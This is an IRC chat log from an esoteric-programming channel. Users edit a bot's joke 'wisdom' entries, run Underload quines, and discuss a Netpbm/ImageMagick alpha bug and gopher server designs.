01:58:05 <HackEgo> hfs//You have discovered an eerie cavern. The air above the dark stone floor is alive with vortices of purple light and dark, boiling clouds. Seemingly bottomless pits mark the surface.
01:58:23 <shachaf> My vote is for hfs, of those five.
01:58:54 <oerjan> but but it's minecraft. or dwarf fortress. not sure.
01:59:51 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hfs: not found
02:00:12 <HackEgo> 7961:2016-05-08 <oerjän> rm bin/hfs \ 7947:2016-05-07 <moon_̈_> mkx bin/hfs//erro \'You have discovered an eerie cavern. The air aboe the dark stone floor is alive ith vortices of purple light and dark, boiling clouds. Seemingly bottemless pits mark the surface.\' erro "$1" erro \'stands below\' \ 7946:2016-05-07 <moon_̈_> mkx bin/hfs//erro \'Y
02:00:46 <HackEgo> echo "^C04$1" | sed 's/^O/^O^C04/'
02:02:18 <oerjan> `sled bin/erro//s,1,1,
02:02:20 <HackEgo> bin/erro//echo "$1" | sed 's///'
02:02:23 <HackEgo> echo "^C04$1^O" | sed 's/^O/^O^C04/'
02:03:42 <oerjan> `sled bin/erro//s,.$,;s/$//',
02:03:44 <HackEgo> bin/erro//echo "$1" | sed 's///;s/$//'
02:04:38 <oerjan> `` erro 'test'; echo hi
02:06:47 <shachaf> erro could also use the rm treatment
02:06:58 <shachaf> something about this is messing up my terminal
02:06:59 <HackEgo> Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaneep who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
02:07:16 <boily> the wisdoerjan got discoloured?
02:07:45 <shachaf> i didn't even get mapoled yesterday for that french pun
02:08:37 <oerjan> `` grep -r 'erro[^r]' bin
02:08:38 <HackEgo> bin/cd:erro "invalid command ( ͡° ͜ʖ ͡°)" \ bin/starwars:@c=split/\|/,"Admiral Crix Madine|Admiral Firmus Piett|Anakin Skywalker|Bail Organa|Baze Malbus|Benu Lars|Bib Fortuna|Boba Fett|Bodhi Rook|Boss Nass|C-3PO|Captain Phasma|Cassian Andor|Chancellor Valorum|Chewbacca|Chief Jawa|Chirrut \x{ce}mwe|Cliegg Lars|Conan Antonio Motti|Darth Maul|Da
02:09:01 <oerjan> `` grep -r '\<erro[^r]' bin
02:09:02 <HackEgo> bin/cd:erro "invalid command ( ͡° ͜ʖ ͡°)"
02:09:31 <HackEgo> 10704:2017-04-16 <oerjän> swrjan s,swede,neep, \ 10703:2017-04-16 <Jafët> swrjan sl[ick]navel\\darthl \ 10582:2017-04-03 <shachäf> swrjan s/;[^\\.]\\+// \ 10561:2017-03-31 <oerjän> swrjan s/lik/s/ \ 10560:2017-03-31 <oerjän> swrjan s/l/h/;s/cis/decis/;s/can //;s/meme/&s/ \ 10559:2017-03-31 <shachäf> swrjan s.exclu.inci. \ 10558:2017-03-
02:10:05 <oerjan> i don't know when the color disappeared.
02:10:19 <boily> shachaf: I couldn't mapole you. I just completely missed it >_>'...
02:12:16 * boily retroproactively mapoles shachaf with honourary force. 0.42 FP.
02:12:40 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6’ by 12 kg, ±0.5 inHg.
02:13:14 <shachaf> How many inHg to one inHz?
02:20:03 -!- boily has quit (Quit: KEY CHICKEN).
02:32:02 <oerjan> (::a~*S:a~*^NL)::a~*S:a~*^
02:32:08 <oerjan> ^ul (::a~*S:a~*^NL)::a~*S:a~*^
02:32:08 <fungot> (::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL)::a~*S:a~*^NL(::a~*S:a~*^NL): ...too much output!
02:33:16 <oerjan> (from PPCG. i think it eventually blows the stack, alas.)
02:33:32 <oerjan> (which was explicitly disallowed by the challenge)
02:34:56 <oerjan> ^ul (:::aSS^NL):::aSS^NL
02:34:56 <fungot> (:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(:::aSS^NL):::aSS^NL(::: ...too much output!
02:35:41 <oerjan> ^ul (:::aSS(NL)S^):::aSS^
02:35:41 <fungot> (:::aSS(NL)S^):::aSS(NL)S^(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::a ...too much output!
02:36:09 <oerjan> ^ul (:::aSS(NL)S^):::aSS(NL)S^
02:36:09 <fungot> (:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):::aSS(NL)S^NL(:::aSS(NL)S^):: ...too much output!
02:36:45 <oerjan> that shouldn't blow the stack, assuming TCO
02:36:58 <oerjan> (i think at least one interpreter does TCO)
02:48:37 <HackEgo> protocol is not to be confused with protocoal
02:48:49 <oerjan> `slwd protocol//s,.,P,;s,$,.,
02:48:50 <HackEgo> protocol//Protocol is not to be confused with protocoal.
02:49:33 <oerjan> `learn Protocoal is a bit of a wooden pun.
02:49:36 <HackEgo> Learned 'protocoal': Protocoal is a bit of a wooden pun.
02:50:48 <HackEgo> 2/4:s523> monqy: it'll probably be back later <monqy> nap in peace \ 417) <itidus20> It's ok guys. I am doing what I can to keep my psyche and ego surviving. All the while the threat of ww3 looms, the mortality of family and friends(loved ones?) and sooner or llater my own mortality. \ 429) <pikhq> I actually had a Neopets account. I la
02:51:13 <HackEgo> 3/4:ter gained a second digit in my age. \ 495) <CakeProphet> monqy: help how do I use lambdabot to send messages to people. [...around half an hour later...] <CakeProphet> @messages <lambdabot> quicksilver said 1y 2m 18d 19h 54m 29s ago: you use @tell \ 615) <fungot> Ngevd: again in a fresh memo later be sent you a copy of knitting for
02:51:52 <HackEgo> 4/4:assholes \ 1198) <int-e> The people of Procrasti hereby resolve to lodge a formal complaint with Taneb and nortti about their ridicule of Procasti's glorious nation... later. \ 1217) <mroman_> piece of cake doing this stuff in Burlesque :P [19 lines later] <mroman_> I hate Burlesque :(
02:53:16 <HackEgo> 9275:2016-10-13 <oerjän> learn The Procrasti were an ancient people whose nation would have been a great empire if they\'d ever got around to it.
02:53:51 <oerjan> `` dowg | grep rocasti
02:54:22 <oerjan> `` doag quotes | grep rocasti
02:54:29 <HackEgo> 4654:2014-06-07 <oerjän> addquote <int-e> The people of Procrasti hereby resolve to lodge a formal complaint with Taneb and nortti about their ridicule of Procasti\'s glorious nation... later.
02:54:45 <oerjan> hm that's some time gap.
02:57:40 <HackEgo> #!/bin/bash \ quote "$@" | shuf -n 1
02:58:05 -!- orby has joined.
02:59:59 -!- oerjan has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | INSERT WISDOM.PDF LINK HERE | For extensive phở testing, use #esoteric-blah.
03:01:07 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
03:01:20 <HackEgo> 2/2:ubstance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance.
03:03:29 <oerjan> yep, got those down pat
03:11:51 <oerjan> b_jonas's workarounds for not knowing `slwd look painful.
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03:38:47 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
03:41:29 <\oren\> Apparently when a page has no <title> google uses "An error occurred" as the title
04:11:37 -!- oerjan has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
04:11:50 <oerjan> _somehow_ i tested the wrong version.
04:11:53 <shachaf> I would guess that at the time it crawled Thai page, an error occurred
04:16:02 <Sgeo> Is this a common JS pattern, or should I run away screaming
04:16:03 <Sgeo> SomeConstructorFunction.call(this); SomeOtherConstructor.call(this);
04:16:57 <Sgeo> https://www.youtube.com/watch?v=jaIjsBuI8Qo
04:17:01 <Sgeo> oops wrong channel
04:18:01 <zzo38> I don't know, but I think that you should not run away screaming even if it is not common (although, you may check what those functions do, since is not suitable for some constructors)
04:18:10 <HackEgo> wlcom:Hi! This is a chat about unusual programming tools. For additional info, visit our wiki: <http://bit.ly/C4TUY>. (For unusual things of a contrasting sort, try http://bit.ly/19k9nf8.)
04:19:42 <HackEgo> `# <comment>//`<command> is useful if you want to add a comment to HackEgo history for things like `sled or `le/rn.
04:19:50 <Sgeo> So, my question is, is this multiple inheritance hack for Javascript on-topic? (taking wlcom too literally and saying that it's an 'unusual programming tool')
04:20:10 <zzo38> I don't know that either.
04:21:34 <HackEgo> \\\¯\\\\\\\(\\\°\\\_\\\o\\\)\\\/\\\¯\\\?\\\ \\\¯\\\\\\\(\\\°\\\_\\\o\\\)\\\/\\\¯
04:23:13 <HackEgo> 702 matching entries found.
04:24:17 <HackEgo> 6247:2015-11-23 <oerjän> ` sed -i \'s/$/./\' wisdom/9 \ 6246:2015-11-23 <FireFl̈y> learn 9 is a free smalltalk
04:27:40 <HackEgo> alg. ii:Algae II, the successor class to Algae I. Discusses hydroponics and such.
04:29:16 <oerjan> hm that breaks the rules of wisdom in a way that cannot be fixed.
04:31:08 <HackEgo> And is an Intercal unary operator.
04:31:40 <oerjan> @tell boily your pdf is missing the "unary" in `? and hth
04:36:06 <HackEgo> 5759:2015-06-26 <shachäf> rm wisdom/bc \ 3233:2013-06-24 <guestböt> learn bc \xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\xaf\xb5\xe0\
04:36:23 <shachaf> Remember life before shaventions?
04:36:40 <oerjan> also, i'm not eating again
04:41:24 <HackEgo> Cafreine is the favorite drug of category theorists.
04:43:07 <oerjan> `? categorical product
04:43:08 <HackEgo> categorical product is like when you have two category elements A and B then their product is element C iff there are two morphisms p:C->A and q:C->B such that for every element X and morphisms u:X->A and v:X->B there is a morphism w:X->C such that u=wp and v=wq.
04:43:35 <oerjan> `slwd categorical product//s,is a,is a unique,
04:43:37 <HackEgo> categorical product//categorical product is like when you have two category elements A and B then their product is element C iff there are two morphisms p:C->A and q:C->B such that for every element X and morphisms u:X->A and v:X->B there is a unique morphism w:X->C such that u=wp and v=wq.
04:44:49 <HackEgo> The high level stucture of Cello projects is inspired by /Haskell/, while the syntax and semantics are inspired by /Python/ and /Obj-C/.
04:45:04 <oerjan> `slwd cello//s,stu,stru,
04:45:06 <HackEgo> cello//The high level structure of Cello projects is inspired by /Haskell/, while the syntax and semantics are inspired by /Python/ and /Obj-C/.
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06:43:49 <HackEgo> 6816:2016-02-11 <hppavilion[1̈]> le/rn citation/needed
06:44:18 <oerjan> `learn Citation needed
06:44:20 <HackEgo> Relearned 'citation': Citation needed
06:44:43 <HackEgo> unless essential for the entry's humor, they should: be understandable without the lookup key, be single spaced with no space at the end, and use proper capitalization and punctuation
06:45:48 <HackEgo> [11,11,11,15,15,23,12],[5,5,5,3,53,45,16,26,00,20,15,16,22,25,45,91,32,11,15,27,06,01,11,01,47,22,30,13,43,21,11,13,29,61,65,17,19,12,28,17,11,01,23,20,16,20,81,18,32,25,58,22.,1985,10.301350435,1555466973690094680980000956080767,13720946704494913791885940266665466978579582015128512190078...
06:46:52 <HackEgo> Color is a phenomenon from outer space designed to drive humanity insane and bring forth the new age of Cthulhu.
06:46:56 <HackEgo> Colour is a phenomenoun froum outeur spacue designeud to drivue humanituy insanue and brinug fortuh the new age of Cthulhu.
06:47:10 <HackEgo> 8219:2016-05-31 <fizzïe> ` sed -i -e \'s/\\([a-z]\\(\\x03[0-9][0-9]\\)*[a-z]\\(\\x03[0-9][0-9]\\)*[a-z]\\(\\x03[0-9][0-9]\\)*\\)\\([a-z]\\(\\x03[0-9][0-9]\\)* \\)/\\1u\\5/g\' -e \'s/louur/lour/\' -e \'s/\\(\\x03[0-9][0-9]\\)*\\(\\x03[0-9][0-9]\\)/\\2/g\' wisdom/colour \ 2418:2013-03-12 <ellioẗt> revert 2416 \ 2417:2013-03-12 <Sgëo> revert 224
06:47:21 <shachaf> oerjan: Hmm, I bought a bunch of food today.
06:47:45 <shachaf> I can cook you some if you want.
06:49:28 <oerjan> boily's wisdom updates are not very comprehensive.
06:49:44 <HackEgo> Recommended comics include Yet Another Genius Gamer, Stuck Girl, Home of the Order, and Fantasy Stick Comic. The content of this list is not to be questioned.
06:53:51 <HackEgo> c[uw]lprits lists the nicks responsible for a file or wisdom entry. Usage: `culprits FILE or `cwlprits ENTRY
06:54:06 <HackEgo> culprits//c[uw]lprits lists the nicks responsible for a file or wisdom entry. Usage: `culprits FILE or `cwlprits ENTRY
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07:00:00 <HackEgo> 6554:2016-01-14 <tsweẗt> le/rn dy/dx = y
07:00:26 <oerjan> some times the wisdom.pdf reformatting misses the entire point of an entry.
07:06:01 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters.
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08:08:05 <oerjan> `? for further details.
08:08:06 <HackEgo> See `? for further details for futher details.
08:08:11 <oerjan> `? for further details for futher details.
08:08:12 <HackEgo> See `? for further details for futher details.
08:09:33 -!- augur has quit (Remote host closed the connection).
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08:11:43 <HackEgo> You like Gaspacho and I like Gazpacho. Let's call the whole thing off!
08:11:48 <HackEgo> You like Gazpacho and I like Gaspacho. Let's call the whole thing off!
08:12:07 <HackEgo> gaszpacho is a polish soup, traditionally szerved cold for hot szummer days
08:12:17 <HackEgo> gazspaczo iz a hungarian szoup, tradizsonally szerved cold for hot szummer dayz
08:12:53 * oerjan is reading the wisdom.pdf
08:13:04 <oerjan> boily is taking some shortcuts.
08:13:06 <shachaf> Oh, that's where all these are coming from.
08:13:12 <shachaf> Why is it back in the topic?
08:13:29 <oerjan> because boily had fixed the link
08:16:03 -!- augur has quit (Ping timeout: 258 seconds).
08:19:35 <oerjan> i think that has changed.
08:19:47 <HackEgo> 5240:2015-01-22 <oerjän> slashlearn haiku/\xf0\x9f\x80\xa8\xe3\x82\x84\xe2\x9b\x84
08:20:10 <oerjan> hm nope, boily is just being contrary.
08:20:32 <HackEgo> [U+1F028 MAHJONG TILE AUTUMN] [U+3084 HIRAGANA LETTER YA] [U+26C4 SNOWMAN WITHOUT SNOW]
08:21:31 <oerjan> hmph his version cannot be copied.
08:25:46 <HackEgo> You have discovered an eerie cavern. The air above the dark stone floor is alive with vortices of purple light and dark, boiling clouds. Seemingly bottomless pits mark the surface.
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08:35:54 <hppavilion[1]> It just occurred to me that, whenever I need a fake name, I always use "Andrew" as the first name. I wonder why.
08:36:29 <izabera> because your real name isn't andrew
08:43:42 -!- orby has quit (Ping timeout: 260 seconds).
08:55:57 <olsner> or because your real name is andrew and you have poor imagination?
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09:35:42 <\oren\> So now all the populace have been uploaded into robot bodies
09:36:22 <\oren\> except the Ziiran, who are like "Waaaa, being a robot is against my religion..."
09:37:08 <\oren\> But guess what, this empire no longer is going to produce food. so the problem of non-robot people is going to solve itself
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10:54:36 <int-e> . o O ( this hard wind will make your ship sail from warm seas into that cold dark blue <-- fun with four letter words )
10:56:00 <Taneb> that line goes well with many fine hats
10:57:26 <int-e> four rune word joke?
10:58:51 <int-e> it's funny how much I miss all those three letter words
11:01:23 <int-e> . o O ( say more with less! )
11:01:41 <Taneb> they help more than some feel
11:01:55 <int-e> actually, "tell more with less" works just as well.
11:02:13 <HackEgo> \ Usage: \ more [options] <file>... \ \ Options: \ -d display help instead of ringing bell \ -f count logical rather than screen lines \ -l suppress pause after form feed \ -c do not scroll, display text and clean line ends \ -p do not scroll, clean screen and display text \ -s squee
11:24:25 <Jafet> int-e: I do see your point, though perhaps credit seems due to a (by far) more mixed-length lexicon
11:40:40 <int-e> some body will tell them that this four rune word idea must soon fail from lack of vocabulary.
11:40:47 <int-e> I think this is enough.
11:51:13 <LKoen> isnt "some body" chea ting?
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12:05:15 <int-e> hmm. yes, it's cheating, but not nearly as badly as "chea ting" would be cheating.
12:11:43 <Jafet> some body, like the oulipo group?
12:14:52 <int-e> Besides I could have used an actual noun like "poet". I just felt it wasn't generic enough.
12:17:29 <int-e> Jafet: yes that works as well
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14:38:36 <HackEgo> Ha van szíved, hogy mindazt, mit elértél, / Ha kell, egyetlen kockára rakd, / s túltegyed magad, ha veszteség ér, / s ne legyen róla többé egy szavad
14:38:56 <rdococ> `le//rn har//Har is a very ytrid word.
14:38:58 <HackEgo> Learned 'har': Har is a very ytrid word.
14:39:25 <rdococ> `le//rn ytrid//A word is ytrid when its reverse is dirty. For example, "kcuf".
14:39:27 <HackEgo> Learned 'ytrid': A word is ytrid when its reverse is dirty. For example, "kcuf".
14:40:01 <rdococ> ah. Sound reversed, not letter reversed. So "arh".
14:40:09 <rdococ> `le//rn ytrid//A word is ytrid when its pronunciation's reverse is dirty. For example, "kcuf".
14:40:11 <HackEgo> Relearned 'ytrid': A word is ytrid when its pronunciation's reverse is dirty. For example, "kcuf".
14:40:32 <rdococ> `le//rn ho//Ho is an example of a word which is both dirty and ytrid.
14:40:34 <HackEgo> Learned 'ho': Ho is an example of a word which is both dirty and ytrid.
14:41:05 <rdococ> in this case the /o/ diphthong counts as one sound.
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15:47:45 <rdococ> `le//rn hp//HP is an acronym that stands for Hewlett Points.
15:47:47 <HackEgo> Learned 'hp': HP is an acronym that stands for Hewlett Points.
15:57:02 <rdococ> `le//rn tihs//Tihs is a ytrid word.
15:57:05 <HackEgo> Learned 'tihs': Tihs is a ytrid word.
15:57:18 <rdococ> `le//rn tihs//Tihs is a semi-ytrid word.
15:57:20 <HackEgo> Relearned 'tihs': Tihs is a semi-ytrid word.
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15:57:30 <rdococ> `le//rn tish//Tish is a ytrid word.
15:57:32 <HackEgo> Learned 'tish': Tish is a ytrid word.
16:00:23 <HackEgo> A word is ytrid when its pronunciation's reverse is dirty. For example, "kcuf".
16:00:36 <rdococ> `le//rn ytird//A word is ytird when its pronunciation's reverse is dirty. For example, "kcuf".
16:00:39 <HackEgo> Learned 'ytird': A word is ytird when its pronunciation's reverse is dirty. For example, "kcuf".
16:00:46 <rdococ> `le//rn ytrid//A word is ytrid when its spelling's reverse is dirty. For example, "kcuf".
16:00:48 <HackEgo> Relearned 'ytrid': A word is ytrid when its spelling's reverse is dirty. For example, "kcuf".
16:00:54 <rdococ> `le//rn ytird//A word is ytird when its pronunciation's reverse is dirty. For example, "kuf".
16:00:56 <HackEgo> Relearned 'ytird': A word is ytird when its pronunciation's reverse is dirty. For example, "kuf".
16:01:08 <rdococ> `le//rn tish//Tish is a ytird word.
16:01:10 <HackEgo> Relearned 'tish': Tish is a ytird word.
16:01:15 <rdococ> `le//rn tihs//Tihs is a ytrid word.
16:01:17 <HackEgo> Relearned 'tihs': Tihs is a ytrid word.
16:01:21 <HackEgo> Ho is an example of a word which is both dirty and ytrid.
16:04:05 <rdococ> `le//rn har//Har is a very ytird word.
16:04:08 <HackEgo> Relearned 'har': Har is a very ytird word.
16:04:16 <rdococ> `le//rn hra//Hra is a very ytrid word.
16:04:18 <HackEgo> Learned 'hra': Hra is a very ytrid word.
16:04:32 <rdococ> `le//rn ho//Ho is an example of a word which is both dirty, ytrid and ytird at once.
16:04:34 <HackEgo> Relearned 'ho': Ho is an example of a word which is both dirty, ytrid and ytird at once.
16:04:41 <rdococ> `le//rn ho//Ho is an example of a word which is both dirty, ytrid and ytird at once, when said in the right voice.
16:04:43 <HackEgo> Relearned 'ho': Ho is an example of a word which is both dirty, ytrid and ytird at once, when said in the right voice.
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16:23:55 <shachaf> All your wisdom entries are bad.
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16:25:59 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unlearn: not found
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18:31:54 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
18:32:08 <rdococ> `le//rn_append rdococ//Additionally, all of his wisdom entries are bad.
18:32:11 <HackEgo> Learned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. Additionally, all of his wisdom entries are bad.
18:38:21 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters.
18:38:26 * rdococ waits for someone to `forget cocoa
18:39:00 <rdococ> odd. if it was bad wouldn't it have been forgotten by now?
18:40:57 <rdococ> Sometimes I feel like a tumor to every community I'm in. Maybe I am one.
18:41:39 <rdococ> I guess my previous entries were a bit over the top, and I'm sorry for that. But without looking at every single one of my entries, you can't objectively decide that they are all bad.
18:45:29 <\oren\> why is my alliance's randomly generated name "Condign Axis"?
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19:15:07 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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19:20:18 <zzo38> I thought, making a new computerized television (rather than the existing one), with TV-MIDI, TV-GUIDE-RDF, TV-GUIDE-SQL, and support for programming it too (such as with Forth, if you connect the keyboard), and for running a X server if you want to display multiple things on your TV set from multiple sources you can have X clients control them.
19:22:18 <zzo38> And support for "hidden captions", which if you use the formatting code to tell it to hide that text then it will not be displayed by default, but can still be recorded. (This may be useful in such cases as Jeopardy! clues and so on.)
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19:53:35 <zzo38> What I am meaning by "TV-MIDI" is a IMIDI interface to control such devices as cable boxes and so on.
19:54:28 <zzo38> ("IMIDI" is a variant of MIDI, using the exact same data protocol, although it is not necessarily for music, it is two ways, and the electrical specification can differ too.)
19:56:43 <zzo38> For example, sending MIDI CC 0 and 32 events can be used to change the channel that a cable box is tuned to. Key on and key off events can be used to forward signals from buttons on a remote control (which may also be used to change the channel). There are many others too.
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20:07:15 <zzo38> My "ffpbm" used to target only Netpbm formats 1 to 6, although now it can also target format 7. However, ImageMagick inverts the alpha if the depth is not 8 or 16, and I don't know whether the bug is in my program or in ImageMagick. Do you know?
20:08:10 <pikhq> Huh, that sounds really odd.
20:08:20 <pikhq> I don't know, but that still sounds *very* weird.
20:09:14 <zzo38> (Note that this "depth" is not the actual depth, and is not the same as the DEPTH field in the PAM header, which is fixed at 4.)
20:10:05 <pikhq> The "depth" you referring to is represented by the MAXVAL field in the header, right?
20:10:07 <zzo38> (I mean the bits per channel; I said "depth" because of what that variable is called due to the encoding for formats 1 to 6, even though it is unsuitable in this case.)
20:10:30 <pikhq> Yeah, I have no idea why the alpha would get inverted.
20:10:49 <pikhq> The spec seems pretty clear that the _ALPHA channel is just a linear alpha channel.
20:11:02 <pikhq> With no special treatment for any given bitdepths.
20:11:38 <pikhq> Only thing I can think of is if you're using "MAXVAL 8" instead of "MAXVAL 255".
20:12:39 <zzo38> I am not; it is "MAXVAL 255". (I even checked just now to make sure)
20:13:19 <pikhq> Alright. Just a guess, anyways.
20:13:37 <pikhq> It could just be that MAXVALs other than 255 and 65535 aren't well tested.
20:14:15 <zzo38> The other channels are correct; I have checked. Only the alpha channel has this problem.
20:16:43 <pikhq> I can't be certain you aren't doing something odd in your output, but it *sounds like* you're hitting a bug in ImageMagick.
20:17:09 <pikhq> For MAXVAL 254, the alpha being 254 *should be* full opacity, not (as you make it sound like) full transparency.
20:17:36 <zzo38> My program never outputs MAXVAL 254, so I have not tested that
20:18:07 <zzo38> Here is my code http://zzo38computer.org/fossil/farbfeld.ui/raw/ffpbm.c?name=7ff4f7541c11ce72fefa11bb1ba544956aeeca62
20:18:13 <pikhq> http://netpbm.sourceforge.net/doc/pam.html#visual ...
20:18:49 <pikhq> Um, what's the max MAXVAL you output?
20:19:12 <zzo38> The largest number is 65535
20:19:19 <pikhq> And you only do other powers-of-two-minus-one MAXVALs.
20:19:28 <pikhq> So you could hypothetically do 127, but not 254.
20:22:16 <pikhq> Hmm. "if(depth&8)" Doesn't that output if the depth's got 0b1000 set, *not* if it's in the range 16-9?
20:23:30 <pikhq> Mmm, it's only off for depth=8.
20:23:31 <zzo38> The "depth" variable is decremented before the switch
20:23:42 <pikhq> K then, that works for that range then.
20:23:54 <pikhq> Slightly non-obvious and if it were my code I'd change it, but works.
20:29:09 <pikhq> I don't see anywhere in there that would be inverting the alpha, and especially not *just* inverting the alpha.
20:31:13 <pikhq> I'd double-check the actual output doesn't have inverted alpha, and then assume it's an ImageMagick bug.
20:31:23 <pikhq> Particularly if netpbm tools disagree.
20:31:49 <zzo38> I tried using netpbm tools but maybe the tools I have are too old, because it does not recognize the file at all.
20:32:13 <pikhq> Sounds old; PAM was first supported by netpbm tools.
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21:31:20 <zzo38> If you want to, you can contribute encoders and/or decoders for any other picture format you might know of, including even obscure ones that other program does not support.
21:35:47 <pikhq> It's a fairly simple way of getting useful tooling for odd formats.
21:36:03 <pikhq> And the Farbfeld format is quite simple.
21:36:23 <zzo38> Yes, that is my intention too.
21:37:20 <pikhq> Main issue for e.g. retrocomputing formats would be making writers for those formats.
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23:50:10 <quintopia> what would the internet look like if minnesota university hadn't decided to start charging a fee for gopher?
23:52:25 <zzo38> Possibly gopher would be used earlier than it is, I suppose.
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00:08:41 * DHeadshot has built quite a powerful gopher server program. I may make it opensource, I haven't decided yet...
00:10:02 <zzo38> What kind of features you put in? I have made a xinetd based gopher server program in C.
00:10:29 <zzo38> (A very simple one, but you can use external programs for adding additional functions)
00:11:13 <DHeadshot> I have full CGI compatibility, so it's fully extensible with existing applications.
00:14:49 <DHeadshot> (At least, that is the Linux version I made in 2015-16. The original Windows one was built in VB6 many years ago and is very simple).
00:14:59 -!- oerjan has set topic: Motivation: NaN | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
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00:32:45 <zzo38> I also have no Gopher+ and do not intend to add it either. Mine is using a prefix database, and then if the prefix matches (the prefix can include the null terminator), then does according to that record. The action can be: a text file, a binary file, execute a program, change directory, display error message, or load another prefix database.
00:33:38 <zzo38> There is also a compiler to create menus and compiled prefix databases from a source file.
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00:40:00 <zzo38> One thing named "har" is this: http://zzo38computer.org/prog/har.c
00:40:15 <oerjan> heh shachaf got enough
00:40:36 <oerjan> zzo38: it was one of rdococ's wisdom additions, but it got reverted.
00:40:45 <zzo38> Got enough of what?
00:41:00 <shachaf> Is that as in "had enough"?
00:41:01 <oerjan> zzo38: of rdococ's very bad wisdom entries
00:41:32 <shachaf> I don't think that's idiomatic English but maybe it should be.
00:41:45 <shachaf> I'll try to incorporate it into my lexicon maybe.
00:42:16 <oerjan> as long as you don't think it's scow.
00:45:42 <boily> hellørjan, hezzo38, helloochaf.
00:46:30 <lambdabot> oerjan said 20h 14m 49s ago: your pdf is missing the "unary" in `? and hth
00:46:37 <oerjan> `slwd rdococ//s,all,almost &,
00:46:41 <HackEgo> rdococ//rdococ is apparently from Budapest, but he is actualmost ally on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. Additionally, all of his wisdom entries are bad.
00:47:05 <oerjan> `slwd rdococ//s,all ,almost &,
00:47:08 <HackEgo> rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. Additionally, almost all of his wisdom entries are bad.
00:47:26 <oerjan> i recall at least one that had potential.
00:50:16 <HackEgo> Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydraulic computer.
00:50:23 <oerjan> this one, although i improved the wording.
00:50:43 <boily> oerjan: yes, I'm missing the unary. the PDF isn't exactly up to date >_>'...
00:55:36 <oerjan> shachaf: but today's entries were bad even by his standards.
